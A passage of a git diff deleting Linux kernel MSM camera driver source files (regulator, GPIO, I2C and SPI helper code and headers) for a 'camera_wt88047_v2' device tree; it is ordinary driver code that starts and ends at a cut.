**reg_ptr, int config) -{ - int rc = 0; - if (config) { - if (!dev || !cam_vreg || !reg_ptr) { - pr_err("%s: get failed NULL parameter\n", __func__); - goto vreg_get_fail; - } - CDBG("%s enable %s\n", __func__, cam_vreg->reg_name); - *reg_ptr = regulator_get(dev, cam_vreg->reg_name); - if (IS_ERR_OR_NULL(*reg_ptr)) { - pr_err("%s: %s get failed\n", __func__, - cam_vreg->reg_name); - *reg_ptr = NULL; - goto vreg_get_fail; - } - if (cam_vreg->type == REG_LDO) { - rc = regulator_set_voltage( - *reg_ptr, cam_vreg->min_voltage, - cam_vreg->max_voltage); - if (rc < 0) { - pr_err("%s: %s set voltage failed\n", - __func__, cam_vreg->reg_name); - goto vreg_set_voltage_fail; - } - if (cam_vreg->op_mode >= 0) { - rc = regulator_set_optimum_mode(*reg_ptr, - cam_vreg->op_mode); - if (rc < 0) { - pr_err( - "%s: %s set optimum mode failed\n", - __func__, cam_vreg->reg_name); - goto vreg_set_opt_mode_fail; - } - } - } - rc = regulator_enable(*reg_ptr); - if (rc < 0) { - pr_err("%s: %s enable failed\n", - __func__, cam_vreg->reg_name); - goto vreg_unconfig; - } - } else { - if (*reg_ptr) { - CDBG("%s disable %s\n", __func__, cam_vreg->reg_name); - regulator_disable(*reg_ptr); - if (cam_vreg->type == REG_LDO) { - if (cam_vreg->op_mode >= 0) - regulator_set_optimum_mode(*reg_ptr, 0); - regulator_set_voltage( - *reg_ptr, 0, cam_vreg->max_voltage); - } - regulator_put(*reg_ptr); - *reg_ptr = NULL; - } - } - return 0; - -vreg_unconfig: -if (cam_vreg->type == REG_LDO) - regulator_set_optimum_mode(*reg_ptr, 0); - -vreg_set_opt_mode_fail: -if (cam_vreg->type == REG_LDO) - regulator_set_voltage(*reg_ptr, 0, cam_vreg->max_voltage); - -vreg_set_voltage_fail: - regulator_put(*reg_ptr); - *reg_ptr = NULL; - -vreg_get_fail: - return -ENODEV; -} - -int msm_camera_request_gpio_table(struct gpio *gpio_tbl, uint8_t size, - int gpio_en) -{ - int rc = 0, i = 0, err = 0; - - if (!gpio_tbl || !size) { - pr_err("%s:%d invalid gpio_tbl %p / size %d\n", __func__, - __LINE__, gpio_tbl, size); - return -EINVAL; - } - for (i = 0; i < size; i++) { - CDBG("%s:%d i %d, gpio %d dir %ld\n", __func__, __LINE__, i, - gpio_tbl[i].gpio, gpio_tbl[i].flags); - } - if (gpio_en) { - for (i = 0; i < size; i++) { - err = gpio_request_one(gpio_tbl[i].gpio, - gpio_tbl[i].flags, gpio_tbl[i].label); - if (err) { - /* - * After GPIO request fails, contine to - * apply new gpios, outout a error message - * for driver bringup debug - */ - pr_err("%s:%d gpio %d:%s request fails\n", - __func__, __LINE__, - gpio_tbl[i].gpio, gpio_tbl[i].label); - } - } - } else { - gpio_free_array(gpio_tbl, size); - } - return rc; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h deleted file mode 100644 index 9608724d2c933..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h +++ /dev/null @@ -1,65 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundataion. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_CAMERA_IO_UTIL_H -#define __MSM_CAMERA_IO_UTIL_H - -#include -#include -#include -#include -#include - -#define NO_SET_RATE -1 -#define INIT_RATE -2 - -struct msm_gpio_set_tbl { - unsigned gpio; - unsigned long flags; - uint32_t delay; -}; - -void msm_camera_io_w(u32 data, void __iomem *addr); -void msm_camera_io_w_mb(u32 data, void __iomem *addr); -u32 msm_camera_io_r(void __iomem *addr); -u32 msm_camera_io_r_mb(void __iomem *addr); -void msm_camera_io_dump(void __iomem *addr, int size); -void msm_camera_io_memcpy(void __iomem *dest_addr, - void __iomem *src_addr, u32 len); -int msm_cam_clk_sel_src(struct device *dev, struct msm_cam_clk_info *clk_info, - struct msm_cam_clk_info *clk_src_info, int num_clk); -int msm_cam_clk_enable(struct device *dev, struct msm_cam_clk_info *clk_info, - struct clk **clk_ptr, int num_clk, int enable); - -int msm_camera_config_vreg(struct device *dev, struct camera_vreg_t *cam_vreg, - int num_vreg, enum msm_camera_vreg_name_t *vreg_seq, - int num_vreg_seq, struct regulator **reg_ptr, int config); -int msm_camera_enable_vreg(struct device *dev, struct camera_vreg_t *cam_vreg, - int num_vreg, enum msm_camera_vreg_name_t *vreg_seq, - int num_vreg_seq, struct regulator **reg_ptr, int enable); - -void msm_camera_bus_scale_cfg(uint32_t bus_perf_client, - enum msm_bus_perf_setting perf_setting); - -int msm_camera_set_gpio_table(struct msm_gpio_set_tbl *gpio_tbl, - uint8_t gpio_tbl_size, int gpio_en); - -void msm_camera_config_single_gpio(uint16_t gpio, unsigned long flags, - int gpio_en); - -int msm_camera_config_single_vreg(struct device *dev, - struct camera_vreg_t *cam_vreg, struct regulator **reg_ptr, int config); - -int msm_camera_request_gpio_table(struct gpio *gpio_tbl, uint8_t size, - int gpio_en); - -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_qup_i2c.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_qup_i2c.c deleted file mode 100644 index cd9c2d486b085..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_qup_i2c.c +++ /dev/null @@ -1,545 +0,0 @@ -/* Copyright (c) 2011, 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include "msm_camera_i2c.h" - -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_debug(fmt, ##args) -#define S_I2C_DBG(fmt, args...) pr_debug(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#define S_I2C_DBG(fmt, args...) do { } while (0) -#endif - -#define I2C_COMPARE_MATCH 0 -#define I2C_COMPARE_MISMATCH 1 -#define I2C_POLL_MAX_ITERATION 20 - -static int32_t msm_camera_qup_i2c_rxdata( - struct msm_camera_i2c_client *dev_client, unsigned char *rxdata, - int data_length) -{ - int32_t rc = 0; - uint16_t saddr = dev_client->client->addr >> 1; - struct i2c_msg msgs[] = { - { - .addr = saddr, - .flags = 0, - .len = dev_client->addr_type, - .buf = rxdata, - }, - { - .addr = saddr, - .flags = I2C_M_RD, - .len = data_length, - .buf = rxdata, - }, - }; - rc = i2c_transfer(dev_client->client->adapter, msgs, 2); - if (rc < 0) - S_I2C_DBG("msm_camera_qup_i2c_rxdata failed 0x%x\n", saddr); - return rc; -} - -static int32_t msm_camera_qup_i2c_txdata( - struct msm_camera_i2c_client *dev_client, unsigned char *txdata, - int length) -{ - int32_t rc = 0; - uint16_t saddr = dev_client->client->addr >> 1; - struct i2c_msg msg[] = { - { - .addr = saddr, - .flags = 0, - .len = length, - .buf = txdata, - }, - }; - rc = i2c_transfer(dev_client->client->adapter, msg, 1); - if (rc < 0) - S_I2C_DBG("msm_camera_qup_i2c_txdata faild 0x%x\n", saddr); - return rc; -} - -int32_t msm_camera_qup_i2c_read(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t *data, - enum msm_camera_i2c_data_type data_type) -{ - int32_t rc = -EFAULT; - unsigned char buf[client->addr_type+data_type]; - - if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || (data_type != MSM_CAMERA_I2C_BYTE_DATA - && data_type != MSM_CAMERA_I2C_WORD_DATA)) - return rc; - - if (client->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) { - buf[0] = addr; - } else if (client->addr_type == MSM_CAMERA_I2C_WORD_ADDR) { - buf[0] = addr >> BITS_PER_BYTE; - buf[1] = addr; - } - rc = msm_camera_qup_i2c_rxdata(client, buf, data_type); - if (rc < 0) { - S_I2C_DBG("%s fail\n", __func__); - return rc; - } - - if (data_type == MSM_CAMERA_I2C_BYTE_DATA) - *data = buf[0]; - else - *data = buf[0] << 8 | buf[1]; - - S_I2C_DBG("%s addr = 0x%x data: 0x%x\n", __func__, addr, *data); - return rc; -} - -int32_t msm_camera_qup_i2c_read_seq(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte) -{ - int32_t rc = -EFAULT; - unsigned char buf[client->addr_type+num_byte]; - int i; - - if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || num_byte == 0) - return rc; - - if (client->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) { - buf[0] = addr; - } else if (client->addr_type == MSM_CAMERA_I2C_WORD_ADDR) { - buf[0] = addr >> BITS_PER_BYTE; - buf[1] = addr; - } - rc = msm_camera_qup_i2c_rxdata(client, buf, num_byte); - if (rc < 0) { - S_I2C_DBG("%s fail\n", __func__); - return rc; - } - - S_I2C_DBG("%s addr = 0x%x", __func__, addr); - for (i = 0; i < num_byte; i++) { - data[i] = buf[i]; - S_I2C_DBG("Byte %d: 0x%x\n", i, buf[i]); - S_I2C_DBG("Data: 0x%x\n", data[i]); - } - return rc; -} - -int32_t msm_camera_qup_i2c_write(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, - enum msm_camera_i2c_data_type data_type) -{ - int32_t rc = -EFAULT; - unsigned char buf[client->addr_type+data_type]; - uint8_t len = 0; - - if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || (data_type != MSM_CAMERA_I2C_BYTE_DATA - && data_type != MSM_CAMERA_I2C_WORD_DATA)) - return rc; - - S_I2C_DBG("%s reg addr = 0x%x data type: %d\n", - __func__, addr, data_type); - if (client->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) { - buf[0] = addr; - S_I2C_DBG("%s byte %d: 0x%x\n", __func__, - len, buf[len]); - len = 1; - } else if (client->addr_type == MSM_CAMERA_I2C_WORD_ADDR) { - buf[0] = addr >> BITS_PER_BYTE; - buf[1] = addr; - S_I2C_DBG("%s byte %d: 0x%x\n", __func__, - len, buf[len]); - S_I2C_DBG("%s byte %d: 0x%x\n", __func__, - len+1, buf[len+1]); - len = 2; - } - S_I2C_DBG("Data: 0x%x\n", data); - if (data_type == MSM_CAMERA_I2C_BYTE_DATA) { - buf[len] = data; - S_I2C_DBG("Byte %d: 0x%x\n", len, buf[len]); - len += 1; - } else if (data_type == MSM_CAMERA_I2C_WORD_DATA) { - buf[len] = data >> BITS_PER_BYTE; - buf[len+1] = data; - S_I2C_DBG("Byte %d: 0x%x\n", len, buf[len]); - S_I2C_DBG("Byte %d: 0x%x\n", len+1, buf[len+1]); - len += 2; - } - rc = msm_camera_qup_i2c_txdata(client, buf, len); - if (rc < 0) - S_I2C_DBG("%s fail\n", __func__); - return rc; -} - -int32_t msm_camera_qup_i2c_write_seq(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte) -{ - int32_t rc = -EFAULT; - unsigned char buf[client->addr_type+num_byte]; - uint8_t len = 0, i = 0; - - if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || num_byte == 0) - return rc; - - S_I2C_DBG("%s reg addr = 0x%x num bytes: %d\n", - __func__, addr, num_byte); - if (client->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) { - buf[0] = addr; - S_I2C_DBG("%s byte %d: 0x%x\n", __func__, - len, buf[len]); - len = 1; - } else if (client->addr_type == MSM_CAMERA_I2C_WORD_ADDR) { - buf[0] = addr >> BITS_PER_BYTE; - buf[1] = addr; - S_I2C_DBG("%s byte %d: 0x%x\n", __func__, - len, buf[len]); - S_I2C_DBG("%s byte %d: 0x%x\n", __func__, - len+1, buf[len+1]); - len = 2; - } - for (i = 0; i < num_byte; i++) { - buf[i+len] = data[i]; - S_I2C_DBG("Byte %d: 0x%x\n", i+len, buf[i+len]); - S_I2C_DBG("Data: 0x%x\n", data[i]); - } - rc = msm_camera_qup_i2c_txdata(client, buf, len+num_byte); - if (rc < 0) - S_I2C_DBG("%s fail\n", __func__); - return rc; -} - -int32_t msm_camera_qup_i2c_write_table(struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_setting *write_setting) -{ - int i; - int32_t rc = -EFAULT; - struct msm_camera_i2c_reg_array *reg_setting; - uint16_t client_addr_type; - - if (!client || !write_setting) - return rc; - - if ((write_setting->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && write_setting->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || (write_setting->data_type != MSM_CAMERA_I2C_BYTE_DATA - && write_setting->data_type != MSM_CAMERA_I2C_WORD_DATA)) - return rc; - - reg_setting = write_setting->reg_setting; - client_addr_type = client->addr_type; - client->addr_type = write_setting->addr_type; - - for (i = 0; i < write_setting->size; i++) { - CDBG("%s addr 0x%x data 0x%x\n", __func__, - reg_setting->reg_addr, reg_setting->reg_data); - - rc = msm_camera_qup_i2c_write(client, reg_setting->reg_addr, - reg_setting->reg_data, write_setting->data_type); - if (rc < 0) - break; - reg_setting++; - } - if (write_setting->delay > 20) - msleep(write_setting->delay); - else if (write_setting->delay) - usleep_range(write_setting->delay * 1000, (write_setting->delay - * 1000) + 1000); - - client->addr_type = client_addr_type; - return rc; -} - -int32_t msm_camera_qup_i2c_write_seq_table(struct msm_camera_i2c_client *client, - struct msm_camera_i2c_seq_reg_setting *write_setting) -{ - int i; - int32_t rc = -EFAULT; - struct msm_camera_i2c_seq_reg_array *reg_setting; - uint16_t client_addr_type; - - if (!client || !write_setting) - return rc; - - if ((write_setting->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && write_setting->addr_type != MSM_CAMERA_I2C_WORD_ADDR)) { - pr_err("%s Invalide addr type %d\n", __func__, - write_setting->addr_type); - return rc; - } - - reg_setting = write_setting->reg_setting; - client_addr_type = client->addr_type; - client->addr_type = write_setting->addr_type; - - for (i = 0; i < write_setting->size; i++) { - rc = msm_camera_qup_i2c_write_seq(client, reg_setting->reg_addr, - reg_setting->reg_data, reg_setting->reg_data_size); - if (rc < 0) - break; - reg_setting++; - } - if (write_setting->delay > 20) - msleep(write_setting->delay); - else if (write_setting->delay) - usleep_range(write_setting->delay * 1000, (write_setting->delay - * 1000) + 1000); - - client->addr_type = client_addr_type; - return rc; -} - -int32_t msm_camera_qup_i2c_write_table_w_microdelay( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_setting *write_setting) -{ - int i; - int32_t rc = -EFAULT; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - - if (!client || !write_setting) - return rc; - - if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || (write_setting->data_type != MSM_CAMERA_I2C_BYTE_DATA - && write_setting->data_type != MSM_CAMERA_I2C_WORD_DATA)) - return rc; - - reg_setting = write_setting->reg_setting; - for (i = 0; i < write_setting->size; i++) { - rc = msm_camera_qup_i2c_write(client, reg_setting->reg_addr, - reg_setting->reg_data, write_setting->data_type); - if (rc < 0) - break; - if (reg_setting->delay) - usleep_range(reg_setting->delay, - reg_setting->delay + 1000); - reg_setting++; - } - return rc; -} - -static int32_t msm_camera_qup_i2c_compare(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, - enum msm_camera_i2c_data_type data_type) -{ - int32_t rc; - uint16_t reg_data = 0; - int data_len = 0; - switch (data_type) { - case MSM_CAMERA_I2C_BYTE_DATA: - case MSM_CAMERA_I2C_WORD_DATA: - data_len = data_type; - break; - case MSM_CAMERA_I2C_SET_BYTE_MASK: - case MSM_CAMERA_I2C_UNSET_BYTE_MASK: - data_len = MSM_CAMERA_I2C_BYTE_DATA; - break; - case MSM_CAMERA_I2C_SET_WORD_MASK: - case MSM_CAMERA_I2C_UNSET_WORD_MASK: - data_len = MSM_CAMERA_I2C_WORD_DATA; - break; - default: - pr_err("%s: Unsupport data type: %d\n", __func__, data_type); - break; - } - - rc = msm_camera_qup_i2c_read(client, addr, ®_data, data_len); - if (rc < 0) - return rc; - - rc = I2C_COMPARE_MISMATCH; - switch (data_type) { - case MSM_CAMERA_I2C_BYTE_DATA: - case MSM_CAMERA_I2C_WORD_DATA: - if (data == reg_data) - rc = I2C_COMPARE_MATCH; - break; - case MSM_CAMERA_I2C_SET_BYTE_MASK: - case MSM_CAMERA_I2C_SET_WORD_MASK: - if ((reg_data & data) == data) - rc = I2C_COMPARE_MATCH; - break; - case MSM_CAMERA_I2C_UNSET_BYTE_MASK: - case MSM_CAMERA_I2C_UNSET_WORD_MASK: - if (!(reg_data & data)) - rc = I2C_COMPARE_MATCH; - break; - default: - pr_err("%s: Unsupport data type: %d\n", __func__, data_type); - break; - } - - S_I2C_DBG("%s: Register and data match result %d\n", __func__, - rc); - return rc; -} - -int32_t msm_camera_qup_i2c_poll(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, - enum msm_camera_i2c_data_type data_type) -{ - int32_t rc; - int i; - S_I2C_DBG("%s: addr: 0x%x data: 0x%x dt: %d\n", - __func__, addr, data, data_type); - - for (i = 0; i < I2C_POLL_MAX_ITERATION; i++) { - rc = msm_camera_qup_i2c_compare(client, - addr, data, data_type); - if (rc == 0 || rc < 0) - break; - usleep_range(10000, 11000); - } - return rc; -} - -static int32_t msm_camera_qup_i2c_set_mask(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t mask, - enum msm_camera_i2c_data_type data_type, uint16_t set_mask) -{ - int32_t rc; - uint16_t reg_data; - - rc = msm_camera_qup_i2c_read(client, addr, ®_data, data_type); - if (rc < 0) { - S_I2C_DBG("%s read fail\n", __func__); - return rc; - } - S_I2C_DBG("%s addr: 0x%x data: 0x%x setmask: 0x%x\n", - __func__, addr, reg_data, mask); - - if (set_mask) - reg_data |= mask; - else - reg_data &= ~mask; - S_I2C_DBG("%s write: 0x%x\n", __func__, reg_data); - - rc = msm_camera_qup_i2c_write(client, addr, reg_data, data_type); - if (rc < 0) - S_I2C_DBG("%s write fail\n", __func__); - - return rc; -} - -static int32_t msm_camera_qup_i2c_set_write_mask_data( - struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, int16_t mask, - enum msm_camera_i2c_data_type data_type) -{ - int32_t rc; - uint16_t reg_data; - CDBG("%s\n", __func__); - if (mask == -1) - return 0; - if (mask == 0) { - rc = msm_camera_qup_i2c_write(client, addr, data, data_type); - } else { - rc = msm_camera_qup_i2c_read(client, addr, ®_data, - data_type); - if (rc < 0) { - CDBG("%s read fail\n", __func__); - return rc; - } - reg_data &= ~mask; - reg_data |= (data & mask); - rc = msm_camera_qup_i2c_write(client, addr, reg_data, - data_type); - if (rc < 0) - CDBG("%s write fail\n", __func__); - } - return rc; -} - - -int32_t msm_camera_qup_i2c_write_conf_tbl( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_conf *reg_conf_tbl, uint16_t size, - enum msm_camera_i2c_data_type data_type) -{ - int i; - int32_t rc = -EFAULT; - pr_err("%s, E. ", __func__); - for (i = 0; i < size; i++) { - enum msm_camera_i2c_data_type dt; - if (reg_conf_tbl->cmd_type == MSM_CAMERA_I2C_CMD_POLL) { - rc = msm_camera_qup_i2c_poll(client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - reg_conf_tbl->dt); - } else { - if (reg_conf_tbl->dt == 0) - dt = data_type; - else - dt = reg_conf_tbl->dt; - switch (dt) { - case MSM_CAMERA_I2C_BYTE_DATA: - case MSM_CAMERA_I2C_WORD_DATA: - rc = msm_camera_qup_i2c_write( - client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, dt); - break; - case MSM_CAMERA_I2C_SET_BYTE_MASK: - rc = msm_camera_qup_i2c_set_mask(client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - MSM_CAMERA_I2C_BYTE_DATA, 1); - break; - case MSM_CAMERA_I2C_UNSET_BYTE_MASK: - rc = msm_camera_qup_i2c_set_mask(client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - MSM_CAMERA_I2C_BYTE_DATA, 0); - break; - case MSM_CAMERA_I2C_SET_WORD_MASK: - rc = msm_camera_qup_i2c_set_mask(client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - MSM_CAMERA_I2C_WORD_DATA, 1); - break; - case MSM_CAMERA_I2C_UNSET_WORD_MASK: - rc = msm_camera_qup_i2c_set_mask(client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - MSM_CAMERA_I2C_WORD_DATA, 0); - break; - case MSM_CAMERA_I2C_SET_BYTE_WRITE_MASK_DATA: - rc = msm_camera_qup_i2c_set_write_mask_data( - client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - reg_conf_tbl->mask, - MSM_CAMERA_I2C_BYTE_DATA); - break; - default: - pr_err("%s: Unsupport data type: %d\n", - __func__, dt); - break; - } - } - if (rc < 0) - break; - reg_conf_tbl++; - } - return rc; -} - diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.c deleted file mode 100644 index ccdc2b3cd125b..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.c +++ /dev/null @@ -1,214 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include "msm_camera_spi.h" - -#undef SPIDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define SPIDBG(fmt, args...) pr_debug(fmt, ##args) -#define S_I2C_DBG(fmt, args...) pr_debug(fmt, ##args) -#else -#define SPIDBG(fmt, args...) do { } while (0) -#define S_I2C_DBG(fmt, args...) do { } while (0) -#endif - -static int msm_camera_spi_txfr(struct spi_device *spi, char *txbuf, - char *rxbuf, int num_byte) -{ - struct spi_transfer t; - struct spi_message m; - - memset(&t, 0, sizeof(t)); - t.tx_buf = txbuf; - t.rx_buf = rxbuf; - t.len = num_byte; - spi_message_init(&m); - spi_message_add_tail(&t, &m); - - return spi_sync(spi, &m); -} - -/** - * msm_camera_set_addr() - helper function to set transfer address - * @addr: device address - * @addr_len: the addr field length of an instruction - * @type: type (i.e. byte-length) of @addr - * @str: shifted address output, must be zeroed when passed in - * - * This helper function sets @str based on the addr field length of an - * instruction and the data length. - */ -static void msm_camera_set_addr(uint32_t addr, uint8_t addr_len, - enum msm_camera_i2c_reg_addr_type type, - char *str) -{ - int i, len; - - if (addr_len < type) - SPIDBG("%s: omitting higher bits in address\n", __func__); - - /* only support transfer MSB first for now */ - len = addr_len - type; - for (i = len; i < addr_len; i++) { - if (i >= 0) - str[i] = (addr >> (BITS_PER_BYTE * (addr_len - i - 1))) - & 0xFF; - } - -} - -/** - * msm_camera_spi_tx_helper() - wrapper for SPI transaction - * @client: io client - * @inst: inst of this transaction - * @addr: device addr following the inst - * @data: output byte array (could be NULL) - * @num_byte: size of @data - * @tx, rx: optional transfer buffer. It must be at least header - * + @num_byte long. - * - * This is the core function for SPI transaction, except for writes. It first - * checks address type, then allocates required memory for tx/rx buffers. - * It sends out , and optionally receives @num_byte of response, - * if @data is not NULL. This function does not check for wait conditions, - * and will return immediately once bus transaction finishes. - * - * This function will allocate buffers of header + @num_byte long. For - * large transfers, the allocation could fail. External buffer @tx, @rx - * should be passed in to bypass allocation. The size of buffer should be - * at least header + num_byte long. Since buffer is managed externally, - * @data will be ignored, and read results will be in @rx. - * @tx, @rx also can be used for repeated transfers to improve performance. - */ -int32_t msm_camera_spi_tx_helper(struct msm_camera_i2c_client *client, - struct msm_camera_spi_inst *inst, uint32_t addr, uint8_t *data, - uint32_t num_byte, char *tx, char *rx) -{ - int32_t rc = -EINVAL; - struct spi_device *spi = client->spi_client->spi_master; - char *ctx = NULL, *crx = NULL; - uint32_t len, hlen; - uint8_t retries = client->spi_client->retries; - - if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR) - && (client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - && (client->addr_type != MSM_CAMERA_I2C_3B_ADDR)) - return rc; - - hlen = msm_camera_spi_get_hlen(inst); - len = hlen + num_byte; - - if (tx) - ctx = tx; - else - ctx = kzalloc(len, GFP_KERNEL); - if (!ctx) - return -ENOMEM; - - if (num_byte) { - if (rx) - crx = rx; - else - crx = kzalloc(len, GFP_KERNEL); - if (!crx) { - if (!tx) - kfree(ctx); - return -ENOMEM; - } - } else { - crx = NULL; - } - - ctx[0] = inst->opcode; - msm_camera_set_addr(addr, inst->addr_len, client->addr_type, ctx + 1); - while ((rc = msm_camera_spi_txfr(spi, ctx, crx, len)) && retries) { - retries--; - msleep(client->spi_client->retry_delay); - } - if (rc < 0) { - SPIDBG("%s: failed %d\n", __func__, rc); - goto out; - } - if (data && num_byte && !rx) - memcpy(data, crx + hlen, num_byte); - -out: - if (!tx) - kfree(ctx); - if (!rx) - kfree(crx); - return rc; -} - -int32_t msm_camera_spi_read(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t *data, - enum msm_camera_i2c_data_type data_type) -{ - int32_t rc = -EINVAL; - uint8_t temp[2]; - - if ((data_type != MSM_CAMERA_I2C_BYTE_DATA) - && (data_type != MSM_CAMERA_I2C_WORD_DATA)) - return rc; - - rc = msm_camera_spi_tx_helper(client, - &client->spi_client->cmd_tbl.read, addr, &temp[0], - data_type, NULL, NULL); - if (rc < 0) - return rc; - - if (data_type == MSM_CAMERA_I2C_BYTE_DATA) - *data = temp[0]; - else - *data = (temp[0] << BITS_PER_BYTE) | temp[1]; - - SPIDBG("%s: addr 0x%x, data %u\n", __func__, addr, *data); - return rc; -} - -int32_t msm_camera_spi_read_seq(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte) -{ - return msm_camera_spi_tx_helper(client, - &client->spi_client->cmd_tbl.read_seq, addr, data, num_byte, - NULL, NULL); -} - -/** - * msm_camera_spi_read_seq_l()- function for large SPI reads - * @client: io client - * @addr: device address to read - * @num_byte: read length - * @tx,rx: pre-allocated SPI buffer. Its size must be at least - * header + num_byte - * - * This function is used for large transactions. Instead of allocating SPI - * buffer each time, caller is responsible for pre-allocating memory buffers. - * Memory buffer must be at least header + num_byte. Header length can be - * obtained by msm_camera_spi_get_hlen(). - */ -int32_t msm_camera_spi_read_seq_l(struct msm_camera_i2c_client *client, - uint32_t addr, uint32_t num_byte, char *tx, char *rx) -{ - return msm_camera_spi_tx_helper(client, - &client->spi_client->cmd_tbl.read_seq, addr, NULL, num_byte, - tx, rx); -} - -int32_t msm_camera_spi_query_id(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte) -{ - return msm_camera_spi_tx_helper(client, - &client->spi_client->cmd_tbl.query_id, addr, data, num_byte, - NULL, NULL); -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.h deleted file mode 100644 index 0aefa503fdcd6..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.h +++ /dev/null @@ -1,66 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_CAMERA_SPI_H -#define __MSM_CAMERA_SPI_H - -#include -#include -#include "msm_camera_i2c.h" - -/** - * Common SPI communication scheme - * tx: [addr][wait][write buffer] - * rx: [read buffer] - * Some inst require polling busy reg until it's done - */ -struct msm_camera_spi_inst { - uint8_t opcode; /* one-byte opcode */ - uint8_t addr_len; /* addr len in bytes */ - uint8_t dummy_len; /* setup cycles */ -}; - -struct msm_camera_spi_inst_tbl { - struct msm_camera_spi_inst read; - struct msm_camera_spi_inst read_seq; - struct msm_camera_spi_inst query_id; -}; - -struct msm_camera_spi_client { - struct spi_device *spi_master; - struct msm_camera_spi_inst_tbl cmd_tbl; - uint8_t device_id; - uint8_t mfr_id; - uint8_t retry_delay; /* ms */ - uint8_t retries; /* retry times upon failure */ -}; - -static __always_inline -uint16_t msm_camera_spi_get_hlen(struct msm_camera_spi_inst *inst) -{ - return sizeof(inst->opcode) + inst->addr_len + inst->dummy_len; -} - -int32_t msm_camera_spi_read(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t *data, - enum 